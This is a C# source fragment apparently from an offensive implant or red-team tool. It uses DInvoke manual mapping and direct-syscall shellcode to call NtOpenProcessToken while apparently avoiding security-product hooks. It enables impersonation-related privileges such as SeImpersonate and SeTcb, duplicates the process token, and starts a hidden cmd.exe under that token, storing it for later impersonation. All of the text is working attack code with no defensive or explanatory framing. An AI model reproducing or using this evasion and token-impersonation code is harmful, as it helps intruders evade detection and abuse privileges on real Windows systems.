public static void GetProcessToken(IntPtr handle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS access, out IntPtr currentToken, SysCallManager sysCall) { DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); var shellCode = sysCall.GetSysCallAsm("NtOpenProcessToken"); object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcessToken)); var token = IntPtr.Zero; var arguments = new object[] { handle, access, token }; uint oldProtect = 0; object[] parameters = { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect }; IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); var returnValue = sysCallDelegate.DynamicInvoke(arguments); currentToken = (int)returnValue == 0 ? (IntPtr)arguments[2] : IntPtr.Zero; }
/////////////////////////// Impersonation /////////////////////////// public static void DuplicateToken(IntPtr token, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS tokenAccess, DInvoke.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL se, DInvoke.Win32.WinNT.TOKEN_TYPE type, out IntPtr duplicated, SysCallManager sysCall) { duplicated = IntPtr.Zero; DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); object[] duplicateToken = { token, tokenAccess, IntPtr.Zero, se, type, duplicated }; bool status = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "DuplicateTokenEx", typeof(DInvoke.Win32.DELEGATES.DuplicateTokenEx), duplicateToken); if (!status) { duplicated = IntPtr.Zero; } else { duplicated = (IntPtr)duplicateToken[5]; } }
public static void Start() { var sysCall = new SysCallManager(); try { var token = WindowsIdentity.GetCurrent().Token; var newToken = IntPtr.Zero; var privileges = new List <string> { "SeImpersonatePrivilege", "SeTcbPrivilege", "SeAssignPrimaryTokenPrivilege", "SeIncreaseQuotaPrivilege" }; var currentToken = IntPtr.Zero; GetProcessToken(Process.GetCurrentProcess().Handle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustPrivileges, out currentToken, sysCall); EnablePrivileges(currentToken, privileges, sysCall); CloseHandle(currentToken); const DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS tokenAccess = DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenQuery | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAssignPrimary | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenDuplicate | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustDefault | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustSessionId; DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); object[] duplicateToken = { token, tokenAccess, IntPtr.Zero, DInvoke.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, DInvoke.Win32.WinNT.TOKEN_TYPE.TokenPrimary, newToken }; bool status = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "DuplicateTokenEx", typeof(DInvoke.Win32.DELEGATES.DuplicateTokenEx), duplicateToken); if (!status) { return; } else { newToken = (IntPtr)duplicateToken[5]; } var startupInfo = new DInvoke.Win32.WinNT.StartupInfo(); startupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpDesktop = ""; startupInfo.wShowWindow = 0; startupInfo.dwFlags |= 0x00000001; const DInvoke.Win32.Kernel32.LogonFlags logonFlags = new DInvoke.Win32.Kernel32.LogonFlags(); if (CreateProcessAsUserW(newToken, null, @"c:\windows\system32\cmd.exe /Q /C whoami && exit", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _)) { TokenManager._token = newToken; TokenManager._method = 1; } else { if (!CreateProcessWithTokenW(newToken, logonFlags, null, @"c:\windows\system32\cmd.exe /Q /C whoami && exit", 0, IntPtr.Zero, null, ref startupInfo, out _)) { return; } TokenManager._token = newToken; TokenManager._method = 2; } } catch { } }